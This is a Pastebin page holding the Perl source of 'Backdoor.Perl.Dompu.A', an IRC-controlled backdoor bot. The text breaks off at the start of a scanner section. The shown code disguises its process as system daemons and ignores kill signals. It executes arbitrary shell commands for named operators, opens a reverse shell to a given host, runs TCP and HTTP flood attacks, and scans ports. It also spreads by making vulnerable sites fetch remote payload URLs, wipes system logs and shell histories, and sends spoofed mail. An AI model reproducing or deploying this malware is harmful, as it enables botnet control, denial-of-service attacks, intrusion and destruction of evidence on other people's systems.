Advertisement
FlyFar

Backdoor.Perl.Dompu.A - Source Code

Mar 9th, 2023
1,572
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 77.31 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2. #
  3. ########################################################
  4. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata
  5. #   Anak
  6. #       _____
  7. #      ( ___ )  _____  __  ___  ____  _   _
  8. #      | |  \ \(  _  )(  \/   )( _  )( ) ( )
  9. # _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu
  10. #  ////| |   | ) | | || |\/ | || ___)| | | | /  crew
  11. #      | |__/ /| (_) || |   | || |   | |_| |
  12. #      (_____) (_____)(_)   (_)(_)   (_____)
  13. #
  14. #              AnakDompu [on] Dalnet © 2008
  15. #
  16. #
  17. ########################################################
  18.  
  19.  
  20. use IO::Socket::INET;
  21. use HTTP::Request;
  22. use LWP::UserAgent;
  23. ##################################################
  24. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  25. #     www.AnakDompu.by.ru            #
  26. #        Created By Shinchi          #
  27. #        #AnakDompu          #
  28. #       irc.dal.net          #
  29. ##################################################
  30. my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]");
  31. my $processo = $ps[rand scalar @ps];
  32. my $linas_max='10';
  33. my $sleep='3';
  34. my $cmd="http://www.voetbalkeurmerk.nl/images/adu.png??";
  35. my $id="http://www.gasthof-neumeister.com/images/zoom/special.txt???";
  36. my $spread="http://www.gasthof-neumeister.com/images/zoom/alls.txt???";
  37. my $perawan="http://www.gasthof-neumeister.com/images/zoom/alls.txt???";
  38. my $idku="http://www.gasthof-neumeister.com/images/zoom/pbots.txt???";
  39. my @adms=("Shinchi","FuRkaN");
  40. my @canais=("#·");
  41. ##################################################
  42. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  43. #     www.AnakDompu.by.ru            #
  44. #        Created By Shinchi          #
  45. #        #AnakDompu          #
  46. #       irc.dal.net          #
  47. ##################################################
  48. my @nickname = ("AkeZuKa",
  49.     "AbankSayang",
  50.     "Sampula",
  51.     "FuRkaN",
  52.     "AnakDompu",
  53.     "SaMaDa",
  54.     "SaMPeLa",
  55.     "ShuZuKa",
  56.     "TalamPa",
  57.     "Tambora",
  58.     "Henca",
  59.     "Hencarasa",
  60.     "HencaSpy",
  61.     "SamPuLa");
  62. my @rname = ("Ketika Rasa Tak Dapat Di UngkaP",
  63.     "PowereD By AnakDompu",
  64.     "SeRinG PuTus Cinta",
  65.     "Aku Mudah Jatuh Cinta",
  66.     "ModeL Bug1L AnakDompu",
  67.     "Jpop And JrocK Lyric",
  68.     "Ketika Rasa Tak Dapat Diungkap Bro",
  69.     "Percuma Kita Bersama DinDa",
  70.     "Shinchi Memang cakep",
  71.     "Suka Nonton Movie hentai la",
  72.     "Lihat Cewek2 Pake tanktop",
  73.     "Owned By AnakDompu");
  74. my $nick = $nickname[rand scalar @nickname];
  75. my $ircname = $nickname[rand scalar @nickname];
  76. my $realname = $rname[rand scalar @rname];
  77. $servidor='irc.indoirc.net' unless $servidor;
  78. my $porta='6667';
  79.  
  80. $SIG{'INT'} = 'IGNORE';
  81. $SIG{'HUP'} = 'IGNORE';
  82. $SIG{'TERM'} = 'IGNORE';
  83. $SIG{'CHLD'} = 'IGNORE';
  84. $SIG{'PS'} = 'IGNORE';
  85. use IO::Socket;
  86. use Socket;
  87. use IO::Select;
  88. chdir("/");
  89. ##################################################
  90. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  91. #     www.AnakDompu.by.ru            #
  92. #        Created By Shinchi          #
  93. #        #AnakDompu          #
  94. #       irc.dal.net          #
  95. ##################################################
  96.  
  97. #Connect
  98. $servidor="$ARGV[0]" if $ARGV[0];
  99. $0="$processo"."\0"x16;;
  100. my $pid=fork;
  101. exit if $pid;
  102. die "Masalah fork: $!" unless defined($pid);
  103.  
  104. our %irc_servers;
  105. our %DCC;
  106. my $dcc_sel = new IO::Select->new();
  107. $sel_cliente = IO::Select->new();
  108. sub sendraw {
  109.   if ($#_ == '1') {
  110.     my $socket = $_[0];
  111.     print $socket "$_[1]\n";
  112.     } else {
  113.     print $IRC_cur_socket "$_[0]\n";
  114.   }
  115. }
  116.  
  117. sub conectar {
  118.   my $meunick = $_[0];
  119.   my $servidor_con = $_[1];
  120.   my $porta_con = $_[2];
  121.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  122.   PeerPort=>$porta_con) or return(1);
  123.   if (defined($IRC_socket)) {
  124.     $IRC_cur_socket = $IRC_socket;
  125.     $IRC_socket->autoflush(1);
  126.     $sel_cliente->add($IRC_socket);
  127.     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  128.     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  129.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  130.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  131.     nick("$meunick");
  132.     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  133.     sleep 1;
  134.   }
  135. }
  136.  
  137. my $line_temp;
  138. while( 1 ) {
  139.   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  140.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  141.   my @ready = $sel_cliente->can_read(0);
  142.   next unless(@ready);
  143.   foreach $fh (@ready) {
  144.     $IRC_cur_socket = $fh;
  145.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  146.     $nread = sysread($fh, $msg, 4096);
  147.     if ($nread == 0) {
  148.       $sel_cliente->remove($fh);
  149.       $fh->close;
  150.       delete($irc_servers{$fh});
  151.     }
  152.     @lines = split (/\n/, $msg);
  153.     for(my $c=0; $c<= $#lines; $c++) {
  154.  
  155.       $line = $lines[$c];
  156.       $line=$line_temp.$line if ($line_temp);
  157.       $line_temp='';
  158.       $line =~ s/\r$//;
  159.       unless ($c == $#lines) {
  160.         parse("$line");
  161.         } else {
  162.         if ($#lines == 0) {
  163.           parse("$line");
  164.           } elsif ($lines[$c] =~ /\r$/) {
  165.           parse("$line");
  166.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  167.           parse("$line");
  168.                } else {
  169.                            $line_temp = $line;
  170.         }
  171.       }
  172.     }
  173.   }
  174. }
  175.  
  176. sub parse {
  177.   my $servarg = shift;
  178.   if ($servarg =~ /^PING \:(.*)/) {
  179.     sendraw("PONG :$1");
  180.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  181.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  182.     if ($args =~ /^\001VERSION\001$/) {
  183.          notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  184.     }
  185.     if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  186.     if ($onde eq "$meunick"){
  187.     shell("$pn", "$args");
  188.   }
  189.  
  190. #End of Connect
  191.  
  192. ##################################################
  193. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  194. #     www.AnakDompu.by.ru            #
  195. #        Created By Shinchi          #
  196. #        #AnakDompu          #
  197. #       irc.dal.net          #
  198. ##################################################
  199. #      PREFIX        #
  200. ######################
  201.  
  202.   if ($args =~ /^(\Q$meunick\E|\!bro)\s+(.*)/ ) {
  203.     my $natrix = $1;
  204.     my $arg = $2;
  205.     if ($arg =~ /^\!(.*)/) {
  206.       ircase("$pn","$onde","$1") unless ($natrix eq "!bro" and $arg =~ /^\!nick/);
  207.       } elsif ($arg =~ /^\@(.*)/) {
  208.       $ondep = $onde;
  209.       $ondep = $pn if $onde eq $meunick;
  210.       bfunc("$ondep","$1");
  211.       } else {
  212.       shell("$onde", "$arg");
  213.     }
  214.   }
  215. }
  216. }
  217. ######################
  218. #   End of PREFIX    #
  219. ######################
  220.  
  221. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  222. if (lc($1) eq lc($meunick)) {
  223.   $meunick=$4;
  224.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  225. }
  226. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  227. nick("$meunick".int rand(999999));
  228. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  229. $meunick = $2;
  230. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  231. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  232. foreach my $canal (@canais) {
  233.   sendraw("JOIN $canal ddosit");
  234. }
  235. }
  236. }
  237.  
  238. sub bfunc {
  239. my $printl = $_[0];
  240. my $funcarg = $_[1];
  241. if (my $pid = fork) {
  242. waitpid($pid, 0);
  243. } else {
  244. if (fork) {
  245.   exit;
  246. } else {
  247.  
  248. ######################
  249. #       Help         #
  250. ######################
  251.  
  252. if ($funcarg =~ /^help/) {
  253.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Select the function you want help for");
  254.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4ddos");
  255.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4scan");
  256.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4backconnect");
  257.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4shell");
  258.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4portscanner");
  259.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Or if you want too know all the commands type:");
  260.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4commands");
  261.  
  262. }
  263.  
  264. if ($funcarg =~ /^ddos/) {
  265.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 There are 3 DDossers in this bot");
  266.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 UDPFlood, HTTPFlood and TCPFlood");
  267.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4udpflood <ip> <packet size> <time>");
  268.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4tcpflood <ip> <port> <packet size> <time>");
  269.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4httpflood <site> <time>");
  270.  
  271. }
  272.  
  273. if ($funcarg =~ /^scanscan/) {
  274.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 This bot also contains a scan Scanner.");
  275.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 Commands :");
  276.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4scan <vuln> <dork>");
  277.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 You can find strings here : http://www.xshqiptaretx.org/strings.txt ");
  278.  
  279. }
  280.  
  281. if ($funcarg =~ /^backconnect/) {
  282.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 You use backconnect like this :");
  283.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4back <ip><port>");
  284. }
  285.  
  286. if ($funcarg =~ /^shell/) {
  287.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 This bot has a integrated shell");
  288.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 You can use it in private but also public in the channel");
  289.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 In public channel just use : 7!bro cd tmp12 for example");
  290.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 For help with the linux commands type :!bro 13@4linuxhelp");
  291. }
  292.  
  293. if ($funcarg =~ /^portscanner/) {
  294.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 There is a normal portscan and a Nmap:");
  295.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4portscan <ip>");
  296.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4nmap <ip> <beginport> <endport>");
  297. }
  298.  
  299. if ($funcarg =~ /^commands/) {
  300.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 You can use the following commands :");
  301.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4portscan <ip>");
  302.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4nmap <ip> <beginport> <endport>");
  303.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4back <ip><port>");
  304.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro cd tmp 12 for example");
  305.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4udpflood <ip> <packet size> <time>");
  306.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4tcpflood <ip> <port> <packet size> <time>");
  307.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4httpflood <site> <time>");
  308.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4linuxhelp");
  309.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4spread <scan>");
  310.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4scan <vuln> <dork>");
  311.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4system");
  312.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4logcleaner");
  313.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4sendmail <subject> <sender> <recipient> <message>");
  314.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4milw0rm");
  315.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4join #channel");
  316.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BaNtUaN]8,1 !bro 13@4part #channel");
  317. }
  318.  
  319. if ($funcarg =~ /^linuxhelp/) {
  320.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Dir where you are : pwd");
  321.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Start a Perl file : perl file.pl");
  322.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Go back from dir : cd ..");
  323.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Force to Remove a file/dir : rm -rf file/dir;ls -la");
  324.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Show all files/dir with permissions : ls -lia");
  325.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Find config.inc.php files : find / -type f -name config.inc.php");
  326.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Find all writable folders and files : find / -perm -2 -ls");
  327.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Find all .htpasswd files : find / -type f -name .htpasswd");
  328.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BantuanLinuX]8,1 - Find all service.pwd files : find / -type f -name service.pwd");
  329. }
  330.  
  331. ######################
  332. #   End of  Help     #
  333. ######################
  334. if ($funcarg =~ /^spread\s+(.*)/) {
  335. $vuln = $1;
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Spread Mode] 13,6[1Shinchi]11,10[1Memang]13,6[1Cakep] :4 $vuln");
  337. my $shellurl="http://".$vuln.$spread."?";
  338. my $reqz=HTTP::Request->new(GET=>$shellurl);
  339. my $ua=LWP::UserAgent->new();
  340. my $response=$ua->request($reqz);
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Spread Mode] 11,10[1AnakDompu] :12 $vuln");
  342. }
  343.  
  344. ############################################
  345. #   Moded By Shinchi AnakDompu @Dalnet     #
  346. ############################################
  347.  
  348. if ($funcarg =~ /^LoadBotPhp\s+(.*)/) {
  349. $vuln = $1;
  350. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Menjalankan BotPhp] 13,6[1Shinchi]11,10[1Memang]13,6[1Cakep] :4 $vuln");
  351. my $kalampabot="http://".$vuln.$idku."?";
  352. my $reqz=HTTP::Request->new(GET=>$kalampabot);
  353. my $ua=LWP::UserAgent->new();
  354. my $response=$ua->request($reqz);
  355. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Botphp] 11,10[1DiJalanKan] :12 $vuln");
  356. }
  357. ######################
  358. #     Commands       #
  359. ######################
  360.  
  361. if ($funcarg =~ /^system/) {
  362. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  363.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Info BOT : Server : 14Cannot View :14 1337");
  364.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Uname -a     : 7 $uname");
  365.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Uptime       : 7 $uptime");
  366.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Own Prosses  : 7 $processo");
  367.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] ID           : 7 $id");
  368.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Own Dir      : 7 $ownd");
  369.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] OS           : 7 $distro");
  370.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Owner        : 7 Shinchi Memang Cakep");
  371.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1System]8,18,113,6[1Info] Channel      : 7 #AnakDompu");
  372. }
  373.  
  374. if ($funcarg =~ /^milw0rm/) {
  375.     my @ltt=();
  376.     my @bug=();
  377.     my $x;
  378.     my $page="";
  379.     my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  380.     print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  381.     my @r = <$socke>;
  382.     $page="@r";
  383.     close($socke);
  384.     while ($page =~  m/<title>(.*)</g){
  385.     $x = $1;
  386.     if ($x =~ /\&lt\;/) {
  387.     $x =~ s/\&lt\;/</g;
  388.     }
  389.     if ($x !~ /milw0rm/) {
  390.     push (@bug,$x);
  391.     }}
  392.     while ($page =~  m/<link.*expl.*([0-9]...)</g) {
  393.     if ($1 !~ m/milw0rm.com|exploits|en/){
  394.     push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  395.     }}
  396.         sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Milw0rm Bugs]  Latest exploits :");
  397.     foreach $x (0..(@ltt - 1)) {
  398.         sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Milw0rm Bugs]14 $bug[$x] -3 $ltt[$x]");
  399.     sleep 1;
  400. }}
  401. ##################################################
  402. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  403. #     www.AnakDompu.by.ru            #
  404. #        Created By Shinchi          #
  405. #        #AnakDompu          #
  406. #       irc.dal.net          #
  407. ##################################################
  408. ######################
  409. #      Portscan      #
  410. ######################
  411.  
  412. if ($funcarg =~ /^portscan (.*)/) {
  413.   my $hostip="$1";
  414.   my
  415.   @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  416.   my (@aberta, %porta_banner);
  417.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1PortScan] Scanning for open ports on  12".$1." started .");
  418.   foreach my $porta (@portas)  {
  419.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  420.     'tcp', Timeout => 4);
  421.     if ($scansock) {
  422.       push (@aberta, $porta);
  423.       $scansock->close;
  424.     }
  425.   }
  426.  
  427.   if (@aberta) {
  428.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1PortScan] Port Yang Terbuka:5 @aberta");
  429.     } else {
  430.     sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1PortScan] Tidak Ada Ports Yang Terbuka.");
  431.   }
  432. }
  433.  
  434. ######################
  435. #  End of  Portscan  #
  436. ######################
  437. ##################################################
  438. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  439. #     www.AnakDompu.by.ru            #
  440. #        Created By Shinchi          #
  441. #        #AnakDompu          #
  442. #       irc.dal.net          #
  443. ##################################################
  444. ######################
  445. #        Nmap        #
  446. ######################
  447.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  448.          my $hostip="$1";
  449.          my $portstart = "$2";
  450.          my $portend = "$3";
  451.          my (@abertas, %porta_banner);
  452.        sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Nmap] :12 $1 11,10[1PoRt] 12 $2-$3");
  453.        foreach my $porta ($portstart..$portend){
  454.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  455.     if ($scansock) {
  456.                  push (@abertas, $porta);
  457.                  $scansock->close;
  458.                  if ($xstats){
  459.         sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Nmap] Founded 12 $porta"."/Open");
  460.                  }
  461.                }
  462.              }
  463.              if (@abertas) {
  464.         sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Nmap] Complete ");
  465.              } else {
  466.         sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Nmap] No open ports have been founded 13");
  467.              }
  468.              }
  469. ######################
  470. #    End of Nmap     #
  471. ######################
  472. ##################################################
  473. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  474. #     www.AnakDompu.by.ru            #
  475. #        Created By Shinchi          #
  476. #        #AnakDompu          #
  477. #       irc.dal.net          #
  478. ##################################################
  479. #######################
  480. # Menghapus Log File  #
  481. #######################
  482. if ($funcarg =~ /^hapuslog/) {
  483. sendraw($IRC_cur_socket, "PRIVMSG $printl :8,113,6[1MengHapusLogFile] Poses Ini Sangat Lama Tunggu Beberapa Saat");
  484.     system 'rm -rf /var/log/lastlog';
  485.     system 'rm -rf /var/log/wtmp';
  486.     system 'rm -rf /etc/wtmp';
  487.     system 'rm -rf /var/run/utmp';
  488.     system 'rm -rf /etc/utmp';
  489.     system 'rm -rf /var/log';
  490.     system 'rm -rf /var/logs';
  491.     system 'rm -rf /var/adm';
  492.     system 'rm -rf /var/apache/log';
  493.     system 'rm -rf /var/apache/logs';
  494.     system 'rm -rf /usr/local/apache/log';
  495.     system 'rm -rf /usr/local/apache/logs';
  496.     system 'rm -rf /root/.bash_history';
  497.     system 'rm -rf /root/.ksh_history';
  498. sendraw($IRC_cur_socket, "PRIVMSG $printl :8,113,6[1MengHapusLogFile] Semua default log Dan File bash_history Akan Di Hapus");
  499.         sleep 1;
  500. sendraw($IRC_cur_socket, "PRIVMSG $printl :8,113,6[1MengHapusLogFile] Sekarang Menghapus Log File Di System");
  501.     system 'find / -name *.bash_history -exec rm -rf {} \;';
  502.     system 'find / -name *.bash_logout -exec rm -rf {} \;';
  503.     system 'find / -name "log*" -exec rm -rf {} \;';
  504.     system 'find / -name *.log -exec rm -rf {} \;';
  505.         sleep 1;
  506. sendraw($IRC_cur_socket, "PRIVMSG $printl :8,113,6[1MengHapusLogFile] Selesai Semua Logs TeLaH Di BeRsIhKaN");
  507.       }
  508. #############################
  509. # Akhir Menghapus Log File  #
  510. #############################
  511. ##################################################
  512. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  513. #     www.AnakDompu.by.ru            #
  514. #        Created By Shinchi          #
  515. #        #AnakDompu          #
  516. #       irc.dal.net          #
  517. ##################################################
  518. ######################
  519. #       MAILER       #
  520. ######################
  521. # For mailing use :
  522. # !bro @sendmail <subject> <sender> <recipient> <message>
  523. #
  524. ######################
  525. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  526. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Mailer]8,1 Try Sending Mail to :10 $3");
  527. $subject = $1;
  528. $sender = $2;
  529. $recipient = $3;
  530. @corpo = $4;
  531. $mailtype = "content-type: text/html";
  532. $sendmail = '/usr/sbin/sendmail';
  533. open (SENDMAIL, "| $sendmail -t");
  534. print SENDMAIL "$mailtype\n";
  535. print SENDMAIL "Subject: $subject\n";
  536. print SENDMAIL "From: $sender\n";
  537. print SENDMAIL "To: $recipient\n\n";
  538. print SENDMAIL "@corpo\n\n";
  539. close (SENDMAIL);
  540. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Mailer]8,1 Successfully Sended to :10 $recipient");
  541. }
  542. ######################
  543. #   End of MAILER    #
  544. ######################
  545. ######################
  546. #  Join And Part     #
  547. ######################
  548.            if ($funcarg =~ /^join (.*)/) {
  549.               sendraw($IRC_cur_socket, "JOIN ".$1);
  550.            }
  551.            if ($funcarg =~ /^part (.*)/) {
  552.               sendraw($IRC_cur_socket, "PART ".$1);
  553.            }
  554.  
  555. ######################
  556. #End of Join And Part#
  557. ######################
  558. ##################################################
  559. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  560. #     www.AnakDompu.by.ru            #
  561. #        Created By Shinchi          #
  562. #        #AnakDompu          #
  563. #       irc.dal.net          #
  564. ##################################################
  565. ######################
  566. #     TCPFlood       #
  567. ######################
  568.  
  569. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  570.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1TCP DDoS]8,1 13,6[1HaJaR] 10 ".$1.":".$2." Untuk 10 ".$3." detik.");
  571.   my $itime = time;
  572.   my ($cur_time);
  573.   $cur_time = time - $itime;
  574.   while ($3>$cur_time){
  575.   $cur_time = time - $itime;
  576.   &tcpflooder("$1","$2","$3");
  577. }
  578. sendraw($IRC_cur_socket,"PRIVMSG $printl :0,113,6[1TCP DDoS] HaJar SeLeSai 10 ".$1.":".$2.".");
  579. }
  580. ######################
  581. #  End of TCPFlood   #
  582. ######################
  583. ##################################################
  584. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  585. #     www.AnakDompu.by.ru            #
  586. #        Created By Shinchi          #
  587. #        #AnakDompu          #
  588. #       irc.dal.net          #
  589. ##################################################
  590. ######################
  591. #   Back Connect     #
  592. ######################
  593. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  594. my $host = "$1";
  595. my $porta = "$2";
  596. my $proto = getprotobyname('tcp');
  597. my $iaddr = inet_aton($host);
  598. my $paddr = sockaddr_in($porta, $iaddr);
  599. my $shell = "/bin/sh -i";
  600. if ($^O eq "MSWin32") {
  601.   $shell = "cmd.exe";
  602. }
  603. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  604. connect(SOCKET, $paddr) or die "connect: $!";
  605. open(STDIN, ">&SOCKET");
  606. open(STDOUT, ">&SOCKET");
  607. open(STDERR, ">&SOCKET");
  608. system("$shell");
  609. close(STDIN);
  610. close(STDOUT);
  611. close(STDERR);
  612. if ($estatisticas)
  613. {
  614.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1BackConnect] Konek Ke 10 $host:$porta");
  615. }
  616. }
  617. ######################
  618. #End of  Back Connect#
  619. ##################################################
  620. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  621. #     www.AnakDompu.by.ru            #
  622. #        Created By Shinchi          #
  623. #        #AnakDompu          #
  624. #       irc.dal.net          #
  625. ##################################################
  626. #   EExPreSi SCANNER #
  627. ######################
  628. ######################################################################
